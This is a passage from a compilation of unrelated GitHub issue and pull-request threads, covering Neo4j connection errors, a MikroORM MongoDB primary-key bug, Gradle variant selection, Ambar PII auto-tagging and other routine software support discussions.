  C: <ROUTING TABLE ENSURE FRESH> {None: RoutingTable(database=None routers={IPv4Address(('ab.ab.abc.abc', 7687))}, readers={}, writers={}, last_updated_time=130.306414024, ttl=0), 'neo4j': RoutingTable(database='neo4j' routers={IPv4Address(('ab.ab.abc.abc', 7687)), IPv4Address(('ab.ab.abc.abc', 7687)), IPv4Address(('ab.ab.abc.abc, 7687))}, readers={IPv4Address(('ab.ab.abc.abc', 7687)), IPv4Address(('ab.ab.abc.abc', 7687))}, writers={IPv4Address(('ab.ab.abc.abc', 7687))}, last_updated_time=457451.686306685, ttl=300)}
C: <ROUTING> Checking table freshness (readonly=True)
 C: <ROUTING> Table expired=False
 C: <ROUTING> Table routers={IPv4Address(('ab.ab.abc.abc', 7687)), IPv4Address(('ab.ab.abc.abc', 7687)), IPv4Address(('ab.ab.abc.abc', 7687))}
 C: <ROUTING> Table has_server_for_mode=True
 [#0000]  C: <ACQUIRE ADDRESS> database='neo4j' address=IPv4Address(('ab.ab.abc.abc', 7687))
Please let me know if anything specific you're looking for.

Hey @robsdedude  any insight on my above logs please ?

@funkjo Did you manage to understand the source for this issue?

I am able to get this working by using neo4j+ssc:// instead of neo4j+s.

I am able to get this working by using neo4j+ssc:// instead of neo4j+s.

This suggests, that you don't might not have the required root CA certificate installed on your client machine. Hence, the SSL library does not trust the certificate it receives from the server.
Also, note that while +ssc gives you encryption of the traffic, it cannot protect you from man-in-the-middle attacks as it skips the certificate verification all together.

I solved issue.
I wrote docker container name instead of "localhost"
Thank you.

Glad to hear you found a solution. Before I read that message, I started to skim your code and spotted that you try/catch around the driver initialization. Please note that this is a lazy operation.

Driver objects only open connections and pool them as needed. To verify that the driver is able to communicate with the database without executing any query, use neo4j.Driver.verify_connectivity().
-- API docs

Hi @robsdedude ,
I'm facing a similar issue on a Neoj4 instance 5.8 (4.4 shows same behavior) deployed on a Kubernetes cluster. A python script inserts data to the database. After a certain amount of time, the insertion process suddenly starts to fail sporadically with
neo4j.exceptions.ServiceUnavailable: Unable to retrieve routing information
Below, a "bad/good-case comparison" of the debug log.

Any ideas/recommendations how to fix/analyse the issue?
Looking forward to receive expert feedback 😊!

hello@robsdedude
I am trying to connect to my Neo4j database, but I encountered an error. Could you assist me?I will be very grateful.
os.environ["OPENAI_API_KEY"] = "***" os.environ["NEO4J_URI"] = "neo4j+ssc://c48f666c.databases.neo4j.io" os.environ["NEO4J_USERNAME"] = "neo4j" os.environ["NEO4J_PASSWORD"] = "***"
Failed to read from defunct connection ResolvedIPv4Address(('<IP_ADDRESS>', 7687)) (ResolvedIPv4Address(('<IP_ADDRESS>', 7687))) Unable to retrieve routing information

@shuxdh as written above:

For support I generally refer to either of

Neo4j Online Community: https://community.neo4j.com/
StackOverflow: https://stackoverflow.com/questions/tagged/neo4j+python
Discord: https://discord.gg/neo4j
Neo4j Support Portal if you are an enterprise customer:
https://support.neo4j.com/

I think the online community would be the best place for this.

There, you should also include additional information like what you're trying to achieve, code snippets (if applicable), whit driver language and version, what server version, stack traces of errors (if applicable), driver debug logs (see the API docs on how to enable them).


Add wasm test cases

Addresses this comment
cc @tropicadri

BTW, I'm not sure why the workbox-cli test cases are failing, but they're working locally for me

Thanks I'll take a look at the tests, see if I can make them pass.

@tropicadri See this comment thread, I think this should otherwise be ready for approval

bump :-)


Pretrained models not available

Can you please provide pretrained models for the project

I will be releasing in 2 to 3 weeks.

With regards to the iterations of curriculum learning, would you be able to provide a ballpark of the WER you achieved before moving to the next iteration? I'm also wondering if you could clarify how to intialize the AV network with the trained audio and visual networks?

I may not be able to provide the values of WER after each iteration of curriculum learning. Instead, I am providing the values of validation set (preval for pretrain, val for train) WER after pretraining and training for all the three models. Note that these values are computed using greedy search.

Model
After Pretraining
After Training

AO
0.253
0.191

VO
0.769
0.696

AV
0.245
0.168

Regarding how to initialize AV model, you should train the AO and VO models first. Then initialize the AV audio encoder with AO encoder, AV video encoder with VO encoder and AV decoder with VO decoder.

@ashutosh1919
The release of pretrained weights will take some time. Sorry about that.

I have released the pretrained weights.

where is it?

I have released the pretrained weights.

where is it?

From README:

Please send an email at smeetrsiitb.ac.in from your institutional email ID for the pre-trained weights of the AO, VO and AV models. Place the weights of each model in the corresponding /final/models directory.


feat(dpp): withdraw Identity Public Key purpose

Issue being fixed or feature implemented

Need to add addition purpose "withdraw" for IdentityPublicKey
What was done?

Added new purpose to IdentityPublicKey
How Has This Been Tested?

With tests
Breaking Changes

No
Checklist:

[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have added or updated relevant unit/integration/functional/e2e tests
[x] I have made corresponding changes to the documentation

For repository code-owners and collaborators only

[x] I have assigned this pull request to a milestone

@shuplenkov we need also to update tests and JSON Schema


[move prover] basic support for manually added triggers

Motivation
Experiment with triggers
The syntax is similar to Boogie, except triggers are just after quantifiers:
forall x : V { trigger1 } .. { triggerN } where condition : expression

https://github.com/diem/diem/pull/7500 (abandonned) turns out to be unnecessary because let-bindings in triggers appear to be in fact correctly handled by Boogie and Z3.
Test Plan
CI + new test file

/land


Configurations lacking explicit artifacts should still resolve, should not have secondary variants

Fixes/clarifies https://github.com/gradle/gradle/issues/29630 by:

Never removing the primary variant from consideration during artifact selection, even if it is empty of artifacts and there are secondary variants.
Adding a new deprecation warning (which would then become an error in Gradle 9.0) when you add a secondary variant to a primary variant that lacks artifacts.

@bot-gradle test QFL

I've triggered the following builds for you. Click here to see all build failures.

QuickFeedbackLinux build

@bot-gradle test this

I've triggered the following builds for you. Click here to see all build failures.

PullRequestFeedback build

@bot-gradle test this

I've triggered the following builds for you. Click here to see all build failures.

PullRequestFeedback build

@bot-gradle test this

I've triggered the following builds for you. Click here to see all build failures.

PullRequestFeedback build

@bot-gradle test this

I've triggered the following builds for you. Click here to see all build failures.

PullRequestFeedback build

@bot-gradle test this

I've triggered the following builds for you. Click here to see all build failures.

Pull Request Feedback (Trigger) (Check)


Feature Request: Make links clickable and usable in editor (or add option)

Hello,
I think it would be really useful that links that are created, are clickable and usable inside the editor. That can be easily done by adding the attributes  contenteditable="false"  and  target="_blank" to the generated  element, either when pasting a link, or typing a link and pressing enter.
This would allow two things: first the links will be immediately clickable and usable from within the editor.
Second, they would be easier to handle in edit mode: after they are inserted as links, they would be un-editable (the text, as the link can be edited from the api / link button) and also be easily deleted as a whole.
This would be best if it was enabled through a config option, for people preferring the current functionality.

Sorry, nevermind. Just saw you can pass attributes to any tag, as described in advanced usage.
Sorry about that :)

kati

You need:
var editor = new Squire( element, {
    blockTag: 'P',
    blockAttributes: { style: 'font-size: 16px;' }
    tagAttributes: {
        'a': { contenteditable: 'false', target: '_blank' }
    }
});


Too many concurrent connections

Since we upgraded Gerrit from version 2.16.x to 3.0.1, we're running into issues with the Plugin exhausting the available connections. This occurs after a few hours after the server was restarted and causes the functionality of the plugin to become unavailable.
Under this condition, testing the connection from the configuration page gives a com.jcraft.jsch.JSchException: SSH_MSG_DISCONNECT: 12 Too many concurrent connections (64) - max. allowed: 64
Running netstat -tnpa on the Gerrit side shows that indeed there are plenty of open connections from Jira.
For some reason the connections are not cleaned up. How many connections are supposed to be active in parallel? Do they scale with the number of user sessions?
Plugin version 3.4, Jira 7.12.3.

When running fine, we observe that the plugin does not keep connections open permanently, closing the connection immediately after receiving the response. Something is triggering the failure mode in which the connections aren't closed.

After running the gerrit server one day we have 19 established connections between gerrit and jira. Seems like we get too many connections next week again.
Has anybody an idea how to investigate further wich connections getting stale?


GitHub dependency leading to startup issues

Hi, can some kind of adjustment please be made so that this mod does not require some form of connection to GitHub- as it means that any modpack with the mod cannot launch whenever there are GitHub issues.

The 1.12 release is EOL (End of Life) and won't receive any further updates.
A rewrite has been looked into for 1.15, however with the unicode change coming in 1.16 and the fact this mod is not a priority. The outcome looks slim.


Change -Dbuildtime.output.csv.file default value

Hi,
I've noticed that, when using the -Dbuildtime.output.csv.file property, regardless of the value I put there, the plugin always searches for a "target" directory at the beginning of the path.
For example, if I use the following value:
-Dbuildtime.output.csv.file=dir/output.csv
The plugin will try to write the .csv file in the directory "target/dir/output.csv".
The "target" directory, in my example, doesn't exist, so that the export fails.
Could I omit or override in any way that "target" default value, as my "target" folder is in another directory?
Thanks a lot for your support.
Alessandro

Placing the report in the /target directory is by design. The target directory should be created at early phases of the maven lifecycle.
Did you configure a different target directory in Maven?


Add support for the FenwickTree#sum with open ended ranges

[ ] Tests pass
[ ] Appropriate changes to README are included in PR

Overview

標準ライブラリに合わせて Range で open ended ranges に対応させました。

tree[..3]
tree[1..]
tree[...]

Codecov Report

Merging #23 (3fe0c0d) into master (b7144ec) will increase coverage by 0.03%.
The diff coverage is 100.00%.

:exclamation: Current head 3fe0c0d differs from pull request most recent head c890ee7. Consider uploading reports for the commit c890ee7 to get more accurate results

@@            Coverage Diff             @@
##           master      #23      +/-   ##
==========================================
+ Coverage   82.11%   82.14%   +0.03%
==========================================
  Files          14       14
  Lines        1090     1092       +2
==========================================
+ Hits          895      897       +2
  Misses        195      195

Files Changed
Coverage Δ

src/fenwick_tree.cr
88.88% <100.00%> (+0.88%)
:arrow_up:


The max_position_embedding is only 512 and 514 in config.py of "beg-rerangker-large" and "beg-large-zh-v1.5"， which result the "max_input_token" cannot support over 512/514

The max_position_embedding is only 512 and 514 in config.py of "beg-rerangker-large" and "beg-large-zh-v1.5"， which result the "max_input_token" cannot support over 512/514

so how can i solve the problem?

If you want to process longer text, you can use new models: bge-m3 and bge-reranker-v2-m3, which both support 8192 tokens.


update gateway login challenge behavior

update login modules to throw exception instead of returning false
add integration tests for login behavior
update xsd and code so challenge scheme is not mandatory
update unit tests

@danibusu Thanks, looks very good to me with minor feedback.  @NicoletaOita, does this cover all the tests cases you were thinking of (CC @sbadugu)?

@dpwspoon Yes, the tests that @danibusu added cover my test cases. It would be useful however to have some gateway requirements related to these login modules. I could check again if there are any corner cases after we have documentation.

@dpwspoon I updated the code of the login modules based on your comments. I'm still working on the integration test observations.

@DoruM Are you going to review this?


Roots, galleries and Fancybox / Colorbox

I read in another post that Fancybox was integrated into Roots. However, I can't seem to find it. In addition, I have uploaded the fancybox plugin as well as the colorbox plugin and neither seem to work in a WP gallery, with a Roots child theme. I don't know if I'm just overlooking something or what, but can someone educate this fool? Thank you.

they were removed in august with b512745a9c693031a8f1611383a71ffbdb24251b
if you have any other ?'s (not issues), please post on http://groups.google.com/group/roots-theme


[Feature Request] Add RetryableListener in opensearch core

Is your feature request related to a problem? Please describe
Currently there're cases that using NodeClient to dispatch requests to other nodes to execute. But it's possible that the node been dispatched crash during processing the request, and user will get exception. In a large cluster, such random node failure is pretty normal and the exception can be a considerable inconvenient for user.
In opensearch core, we have RetryableAction and RetryableTransportClient but the Action is designed to an abstract class so many cases a transportAction can not extend it if it has to extends another class. The RetryListener seems to have a dedicated purpose and not generic.
Describe the solution you'd like
We can create a new RetryableListener in opensearch core, and when retry is necessary we can use this actionListener directly or override some methods in it, e.g. shouldRetry and retryFunction so the retry can be performed by leveraging these methods.
Related component
Other
Describe alternatives you've considered
No response
Additional context
No response

@zane-neo Out of curiosity, can you give an example of operations or scenarios where you experience failures and would benefit from automatic retry? I am trying to understand specific use cases.

[Triage - attendees 1 2 3 4 5 6]
@zane-neo Thanks for creating this issue; however, it isn't being accepted due to not being specific on the scenarios that are occurring to justify this retry logic - we'd need more context to reason if it should be accepted or not. Please feel free to open a new issue after addressing the reason.

Created this issue: https://github.com/opensearch-project/OpenSearch/issues/13157


laravel make things simple ,but i found this make things more complex, is it?

@JeffreyWay 's work is very excellent,but i found it difficulty to customize. laravel make things simple ,but i found this tool make things more complex ,like how to watch pug template and compile with this tools, watch and copy file  seems has problem.
if you copy file with html extension under src directory to dist directory  ,it will copy file to dist/src/directory,but i hope it will be dist directory ,what should i do? the directory structure like this

src

styles
scripts
index.html
content.html

dist

styles
scripts

mix.copy('src/**/*.html','./dist');

Really ?
Ever tried to configure build with webpack or gulp ?
Laravel-mix is helping millions so please don't blame just because you could not make it.
Have you gone through its documententation? You will find it easier than webpack.

@ankurk91 but why copy file not work with me ,the situation is shown in the up

No one can help you unless you tell us what actually happened.
I would suggest you to fill ISSUE_TEMPLATE so that one can reproduce the issue and post a solution.

If you need a lot of custom Webpack rules and watchers, you can either hook in with mix.webpackConfig(), or just maintain your own custom webpack.config.js file.

@JeffreyWay thanks for your replay, i will read laravel-mix docs carefully and have a full understad it.


Add Relayer profit and txFees fields

Overview
This proposal aims to enhance the frontend of the stats dApp by introducing two new fields, namely txFees and net profit, to the Relayer Fees. The primary motivation behind this modification is the inadequacy of the existing fees field in the ExternalData to accurately represent the actual profit earned by relayers. This limitation arises due to various factors, with the main reason being that the fees value is calculated as follows:
txFees = gasUsed * gasPrice

profit = txFees * X\%

fees = txFees + profit

To address this issue, it is necessary to visually present the separate values of txFees and profit in the user interface (UI) to clarify that the fees value does not indicate the net profit earned by relayers.
Notes
It is important to note that the fees value represents the amount of wrapped tokens that the smart contract will provide to the relayer for their services. However, since this value is not in the native token, it cannot always be assumed that $profit = fees - txFees$. Therefore, it may be necessary to display txFees and profit as distinct entities in the UI.

Here is an example of a scenario for someone using a relayer to withdraw their funds:
Assuming the same transaction details:

Gas Used: 100,000
Gas Price: 10 Gwei (0.00000001 ETH)
Profit Margin: 5%

Calculating Transaction Fees (txFees):
$txFees = Gas Used * Gas Price$
$= 100,000 * 0.00000001 ETH$
$= 0.001 ETH$
The transaction fees amount to 0.001 ETH.

Determining the Profit:
$profit = txFees * Profit Margin$
$= 0.001 ETH * 0.05$
$= 0.00005 ETH$
The profit, based on a 5% profit margin, is 0.00005 ETH.

Calculating Total Fees (fees):
$fees = txFees + profit$
$= 0.001 ETH + 0.00005 ETH$
$= 0.00105 ETH$
The total fees, including both transaction fees and profit, amount to 0.00105 ETH.

And By displaying the transaction fees (txFees) and the calculated profit separately in the UI, users can better understand the breakdown of fees and the additional earnings generated by the relayer.


Revert "Remove usage of diff-only action with paths-ignore (#9527)"

Motivation
#9527 introduced a regression causing website-only changes are not able to be merged because all CI tasks are ignored by path-ignore settings.
This PR reverts the change and increases the clone depth from 25 to 100 to temporarily mitigate the problem that #9527 tried to fix.
We shouldn't remove diff-only action until we find a better solution.

This pull request is blocked by #9607

Yes, the paths-ignore property doesn't seem to work as expected.
One replacement is https://github.com/marketplace/actions/skip-duplicate-actions#skip-ignored-paths however I agree that it's good to revert back to diff-only action until we have a replacement. I'll propose a replacement in the GitHub Actions workflow refactoring that I'm working on.

/pulsarbot run-failure-checks


A typo in create-a-page-to-choose-a-subscription

Context:
create-a-page-to-choose-a-subscription

Left arrow points to the place where the 'dot' needs to replaced by a 'dash. The right arrow points to the capital A, that needs to be a lowercase a

ok


[GLUTEN-3072][CH] Optimization for get_json_object

What changes were proposed in this pull request?
(Please fill in changes proposed in this fix)
Fixes: #3072

reduce the memory consumption
improve the speed

How was this patch tested?
(Please explain how this patch was tested. E.g. unit tests, integration tests, manual tests)
unit tests
(If this patch involves UI changes, please attach a screenshot; otherwise, remove this)

test result.

repeated functions
before
after

7
27s
17s

2
9.4s
8.9s

1
6.6s
6.7s

Run Gluten Clickhouse CI


README: Use SVG badges, drop defunct badges

This PR changes the build badges to SVG for sharper readability ✨
Also: drops badges for services no longer active.

www.pullreview.com is no longer.
waffle.io is no longer.

Codecov Report

Merging #1554 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master    #1554   +/-   ##
=======================================
  Coverage   93.23%   93.23%
=======================================
  Files         105      105
  Lines        4758     4758
=======================================
  Hits         4436     4436
  Misses        322      322

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e67abc2...5898033. Read the comment docs.

@olleolleolle I'm not sure if you were able to test the badges before merging to master. Please verify that everything is the way you imagined now that it is merged.

Yeah, looks good, thanks.


Update multi-geo-capabilities-in-teams-in-microsoft-365.md

update get-multigeo region cmdlet 2

@somyasinghal7 this information should go in the cmdlet reference article.

@MikePlumleyMSFT , can you please share the link for cmdlet reference article?

@MikePlumleyMSFT , I have raised PR to update this doc: https://learn.microsoft.com/en-us/microsoft-365/enterprise/multi-geo-capabilities-in-teams-in-microsoft-365?view=o365-worldwide

@microsoft-github-policy-service agree company="Microsoft"


support i18n search

International search can be configured by setting up:

Wade.config.stopWords - an array of stop words to remove
Wade.config.punctuationRE - a regular expression to match punctuation

There aren't official releases of Wade with different languages, but they can easily be configured.

Ok , thanks


Update on a document nested field causes all other unrelated documents' nested fields to be updated with the same values within the same request

Description:
I have a strange problem with the usage of MongoDB driver. I am implementing an authentication flow with tokens. So each user should have different tokens and refresh tokens after login.
What I realized though when I try to login with one user, he has new tokens created, but also all the other users in the DB gets their authorization: { token, refreshToken } fields are updated with the same value as the actual requesting user. I observed the same issue happens on other nested fields, like activation: { code, activated } fields. I tried to update the user both in a regular way and via wrapping (with the helper) but issue did not disappear. I am forking entity manager for each request with fork.
** No stack trace because everything works but in the wrong way **
To Reproduce
Steps to reproduce the behavior:

Have multiple documents in the db with some nested fields.
Try to update a nested field for a document.
Observe if all the other documents are updated same as the intended document.

Expected behavior
Only the intended document fields should be updated.
Versions
Node: v12.8.3
TSC: 4.0.3
Mikro-ORM: Latest version

Please provide executable reproduction, ideally single file test case with assertions so its clear what you think is wrong.

Well let me provide you these directly from my code:
DB Config
// I am connecting to a remote DB on Mongo Atlas
export default {
  entities: ['./src/entities/**/*.entity.ts'],
  dbName: AppEnvironment.isDevelop() ? DB_NAMES.develop : DB_NAMES.develop,
  type: 'mongo',
  clientUrl: AppEnvironment.isDevelop() ? DB_STRINGS.develop : DB_STRINGS.develop,
  ensureIndexes: true,
}

Initializing DB and app
(async () => {

  const database: {
    orm?: MikroORM<IDatabaseDriver<Connection>>;
    em?: EntityManager<IDatabaseDriver<Connection>>;
  } = {};
  database.orm = await AppDB.initDB();
  database.em = database.orm.em;
  await (database.orm.em.getDriver() as MongoDriver).createCollections();

 // ... other middlewares

  app.use((req, res, next) => {
    req.db = {
      em: database.em!.fork(),
    };

    next();
  });

  setupAuthStrategy(database.em);

  app.use(router);

  app.listen(PORT, async () => {
    console.log(`⚡[server]: Server is running at https://localhost:${PORT}`);
  });

})();

Login on the controller
async login(req: Request, res: Response, next: NextFunction) {
    try {
      const { email, password } = req.body;
      const UserRepo = req.db.em.getRepository(User);
      const _user = await UserRepo.findOne({ email });

      if (_user && FuncUtils.compareHash(password, _user.password)) {

        const token = generateToken({ email, fullName: _user.fullName });
        const refreshToken = _user.authorization
          ? _user.authorization.refreshToken
          : generateRefreshToken({ email, fullName: _user.fullName });

        // If I use native adapter like below line, everything is fine
        // await req.db.em.nativeUpdate(User, { email: _user.email }, { ..._user, authorization: { token, refreshToken }});

       // but both of below lines of code do not work correctly
        // wrap(_user).assign({ authorization: { refreshToken, token }});
        UserRepo.assign(_user, { authorization: { refreshToken, token }});
        await UserRepo.persistAndFlush(_user);

        res.result = {
          data: {
            token,
            refreshToken
          }
        };
      } else {
        res.result = {
          status: HttpStatusCode.BAD_REQUEST,
          message: 'Giris bilgileri gecerli degil.'
        }
      }
      return next();
    } catch (err) {
      return next(err);
    }
  }

User Entity
// Base entity not from MikroORM but it is something custom
@Entity()
export class User extends BaseEntity {

  @Property()
  @Unique()
  email!: string;

  @Property()
  firstName!: string;

  @Property()
  lastName!: string;

  @Property({ hidden: true })
  password!: string;

  @Property({ hidden: true })
  passwordReset?: IPasswordReset;

  @Property({ hidden: true })
  activation: IUserActivation = generateActivationProps();

  @Property({ hidden: true })
  authorization?: IToken;

  constructor(data: { firstName: string, lastName: string, email: string, password: string } ) {
    super();

    this.firstName = data.firstName;
    this.lastName = data.lastName;
    this.email = data.email;
    this.password = FuncUtils.generateHash(data.password);
  }

  @Property({ persist: false })
  get fullName() {
    return `${this.firstName} ${this.lastName}`;
  }
}

Since things work correctly with native driver update, either there is a bug, or I am doing something wrong on the initialisation of db or forking of Entity manager.
Thanks for the help.

I asked for a reproduction, this is very incomplete. I need something I can try myself if you want me to debug the problem.
What queries are generated? Enabled debug mode to see.
Just guessing, but I see that you are calling setupAuthStrategy on the global EM, not on the forked one. What does that method do? You should never use the global EM for loading things to identity map.
But as I said, I need an executable reproduction. Just to be sure, I am asking for a minimal reproduction, not a full featured project - it needs to be minimal, only things that are actually causing the behaviour should be there, drop everything unrelated, simplify entities to bare minimum, etc. Quite often this way you yourself can understand what is wrong with your code.

Okay, I will try with debug mode later and post the results. For your question about the setupAuthStrategy , it forks the EM internally and setting up token authentication mechanism for passport.

I enabled debug and pasting the console output of query below: (I changed the actual data content(token & email) a bit for privacy reasons)
db.getCollection('user').find({ email<EMAIL_ADDRESS>}, { session: undefined }).limit(1).toArray(); [took 68 ms]

db.getCollection('user').updateMany({}, { '$set': { authorization: { token: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpsiksCJ9.eyJlbWFpbCI6Im1pbmFudHJAZ21haWwuY29tIiwiZnVsbE5hbWUiOiJJbmFuIE1hZGFrIiwiaWF0IjoxNjA0Nzc5MTMxL8sjsuOjE2MDQ4MTUxMzF9.mrU8I2ID4ZQSVahNRLmCjw27Rf3DGKu0obKJLXM7tY', refreshToken: 'eyJhbGciOiJIUzI1NiIsInR5njCI6IkpXVCJ9.eyJlbWFpbCI6Im1pbmFudHJAZ21haauwuY29tIiwiZnVsbE5hbWUiOiJJbmFuIE1hZGFrIiwia2V5IjoiRXZNczBnOEI5ViIsImlhdCI6MTYwNDc1OTYxM30.oBW8RxGloKhZpEUVzbhRQ-5eu69ksoDcIcKDrUuN0fAQ' }, updatedAt: ISODate('2020-11-07T19:58:51.576Z') } }, { session: undefined });

So, it seems that it is running updateMany  on all the documents, because there is no filter (first parameter is an empty object). As far as I know from my experience with Mongo this query is wrong if you want to update just one 1 document in a collection of documents.
If you are to say that it is the indeed the correct way then I will find a way to share some executable stuff for you to try. I also tried to debug it within your code on node_modules but was not successful finding the reason.
And just for reference below is setupAuthStrategy
export const setupAuthStrategy = (em: EntityManager) => {
  passport.use(new BearerStrategy(async (token: string, done: any) => {
    try {
      const decoded = verifyToken(token);

      if (decoded) {
        const forkedEm = em.fork();
        const UserRepo = forkedEm.getRepository(User);

        const user = await UserRepo.findOne({ 'authorization.token': token, email: decoded.email } as IObjectAny);

        return user
          ? done(null, user, { scope: 'all' })
          : done(null, false, { message: 'Unauthorized.' });

      } else {
        return done(null, false, { message: 'Unauthorized.' });
      }
    } catch (err) {
      return done(err);
    }
  }));
}

Well the query is obviously wrong, the question is why, and without a reproduction I simply do not have a way to help. Most probably the PK of your entity is not set, maybe wrongly defined. How does your BaseEntity definition look like?
Another guess - mongo requires you to have the PK named as _id.

My custom BaseEntity is like below:
export abstract class BaseEntity {

  @PrimaryKey()
  id = v4();

  @Property()
  createdAt = new Date();

  @Property({ onUpdate: () => new Date() })
  updatedAt = new Date();
}

so I need to change the id field to _id above? I also checked the database and it is represented as _id in the there (even though code defines it as id)
Also another unrelated question, do I need to add @Entity() decorator on top of BaseEntity class above? since it is abstract and I do not want it to be represented in the actual database.

Yes, you need to call it _id, or use @PrimaryKey({ fieldName: '_id' }), that should work too. This is how mongo works, nothing we can do from the ORM standpoint. Now it makes perfect sense, as the PK value was not mapped back due to the wrong PK name.

Also another unrelated question, do I need to add @Entity() decorator on top of BaseEntity class above? since it is abstract and I do not want it to be represented in the actual database.

Nope, base entities should not have @Entity() decorator. It is possible to use it as @Entity({ abstract: false }), but that is usually not needed (only use case for this is having multiple entities in single file in combination with folder based discovery - in that case all entities need to be annotated).

Ok, verified on my end, its exactly as I said.

Okay, thank you very much for all the help. I tried it out and it works correctly now.
As a side note before ending my comments, I would like to give some feedback.
I really liked MikroORM and it seems very promising future-wise.  As I read from other people's comments, I think it needs much more marketing and I think also that documentation might be enriched with some more examples, especially for the entry level 😊
thanks again!


Add Bitvape to the list of merchants

What's the name of your business?
Bitvape
What's the URL of the website?
https://bitvape.com.au
Write a brief description of your business/service (max 50 characters)
Australias top rated JUUL store.
Enter the URL where a Monero mention can be found
https://bitvape.com.au/we-are-now-accepting-monero-xmr/
How do you accept Monero? (choose only one option)

[ ] Monero integrations (github.com/monero-integrations)
[ ] Globee
[ ] Native wallet
[x ] Other payment gateaway (Coinpayments, Morphtoken, etc. Please specify)

How would you categorize your business? (choose only one option)

[ ] Exchange
[ ] Block Explorer
[ ] Payment Gateway
[ ] Web Hosting
[ ] Tool
[ ] Service
[x] Goods
[ ] Entertainment

Comment

Note that this merchant was already listed and then removed with #1402. What happened here @xenpods ? Did you delist Monero and then list it again or was always listed and your merchant was removed by mistake?

Im not sure what happened, I do have 2 merchant sites accepting xmr, so maybe someone thought there was a duplicate and removed this one.

@xenpods please add a monero badge at the bottom of the page like you already do for Bitcoin and the other payment methods, that will help avoid confusions. People won't go looking for a blog post when they want to know if you accept Monero or not :)

It's not possible with my wordpress theme im using, they only have the bitcoin logo. I have made a blogpost about monero though.

#1588


New version: Alibaba.aDrive version 4.2.0

Result: Installation Successful

Manifest
Add/Remove Programs

Name
阿里云盘
阿里云盘

Version
4.2.0
4.2.0

Publisher
Alibaba Group
Alibaba Group

ProductCode

300f80e0-781e-56db-ae9d-9d0190486ca9

Auto-updated by vedantmgoyal2009/winget-pkgs-automation in workflow run 7001
Microsoft Reviewers: Open in CodeFlow
Microsoft Reviewers: Open in CodeFlow

/AzurePipelines run

It works for me. This could possibly be a data center IP block to prevent automated downloads.


Adding custom tagging rules

Good afternoon -
I wanted to add a custom rule to detect US Social Security Numbers and tag the documents as "SSN".  Here are the steps I took:

docker-compose down on my existing install
locate and update autotagging.py.
I added the following:

def AutoTagAmbarFile(self, AmbarFile):
    self.SetOCRTag(AmbarFile)
    self.SetSourceIdTag(AmbarFile)
    self.SetArchiveTag(AmbarFile)
    self.SetImageTag(AmbarFile)
    **self.SetSSNTag(AmbarFile)**

as well as:

def SetSSNTag(self, AmbarFile):
if PIIParser.MatchCC('234-23-1662'): #for testing only
self.AddTagToAmbarFile(AmbarFile['file_id'], AmbarFile['meta']['full_name'], self.AUTO_TAG_TYPE, 'cc')

I re-ran docker-compose up -d
I uploaded a file but the CC tag was not applied.

My next step was to remove the instance again and modify the AutoTagging.py file again:

def SetArchiveTag(self, AmbarFile):
    if ContentTypeAnalyzer.IsArchive(AmbarFile['meta']['full_name']):
        self.AddTagToAmbarFile(AmbarFile['file_id'], AmbarFile['meta']['full_name'], self.AUTO_TAG_TYPE, 'archive-test')

Notice that in this case all I did was change the name of the archive tag to ensure that I wasn't using any evaluation logic and that I was just trying to get the tag name to take affect.
I then uploaded a zip file containing an image document.  The tag "archive" (not "archive-test") was added.
I would think that modifying an existing tag with a new name without changing any logic would work but it didn't.  Is there another place I should be looking?
Thanks for your help and what a great tool you've created!

I edited my changes at the ambar-master folder and then ran docker-compose
up -d to create a new docker application.
On Tue, Jul 31, 2018 at 10:22 AM Ilya Pirozhenko<EMAIL_ADDRESS>wrote:

Hi, did you create a new docker image with your changes? Or where did you
edit autotagging.py?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/RD17/ambar/issues/175#issuecomment-409238366, or mute
the thread
https://github.com/notifications/unsubscribe-auth/Alu6YfCpH27qvSssxv9ZZFUXTCNDrvGfks5uMGghgaJpZM4VlLxO
.

--
Oran Sears
703-928-0923

@musical10441 you need to build a new pipeline image with your changes and then edit your docker-compose file to referenece new pipeline image

Thank you.  That got me much further. I'm now able to see the changes I made to the names of the default ocr and archive tags.
Now that I know the changes are taking affect, I am using the following code in the autotagger.py to call the Regular expression.

def SetCreditCardTag(self, AmbarFile):
if PIIParser.MatchCC(AmbarFile['content']['text']):
#if PIIParser.MatchCC('4485003891627515'):
self.AddTagToAmbarFile(AmbarFile['file_id'], AmbarFile['meta']['full_name'], self.AUTO_TAG_TYPE, 'cc')

My goal is to pass the contents of the document to the PIIParser and return true if there is a match in the document.
When I pass the hard coded value using if PIIParser.MatchCC('4485003891627515'): it works as expected, but when I try passing the document content using if PIIParser.MatchCC(AmbarFile['content']['text']): it does not return true.  The document is a text file with only the credit card number (it's fake btw).
Am I correct in trying to pass (AmbarFile['content']['text']) or should I be passing something else?
Thanks in advance!

Yes, everything is correct, I don't see any error. Can you please log the AmbarFile['content']['text'], and check what it contains?

Logging the content text returns the content, so it is passing it properly.  I will keep working on it.
By the way, building a new pipeline image gives errors in the log:
/envs/plarin-3.7.0a4/lib/python3.7/site-packages/pika/adapters/libev_connection.py", line 106
self.async = None
Changing the Requirements.txt to pika==0.12.0 resolves the issue.


Incorrectly formatted line in vocabulary file

Why is for example 0800 555 111 356 included in the generated vocab file? This example is at line 23163. Or is it just me who have this problem?
>>> with open('data/cnn-dailymail/vocab', 'r') as vocab_f:
...      for line in vocab_f:
...          pieces = line.split()
...          if len(pieces) != 2:
...             print(pieces)
...
['0800', '555', '111', '356']
['1800', '333', '000', '139']
['2', '1/2', '124']
['3', '1/2', '86']
['1', '1/2', '68']
['0800', '555111', '59']
['4', '1/2', '47']
['0844', '472', '4157', '41']
['5', '1/2', '39']
['7', '1/2', '25']
['6', '1/2', '24']
['9', '1/2', '21']
['020', '7629', '9161', '19']
['8', '1/2', '19']
['0300', '123', '8018', '19']
['0808', '800', '5000', '19']
['11', '1/2', '18']
['0844', '493', '0787', '14']
['1300', '659', '467', '13']
['16', '1/2', '12']
['13', '1/2', '12']
['1800', '273', '8255', '11']
['18', '1/2', '10']
['0300', '1234', '999', '10']
['0845', '790', '9090', '10']
['0845', '634', '1414', '9']
['14', '1/2', '8']
['0207', '938', '6364', '8']
['0207', '938', '6683', '8']
['310', '642', '2317', '7']
['at', 'uefa.com', '7']
['0207', '386', '0868', '7']
['0808', '800', '2222', '6']
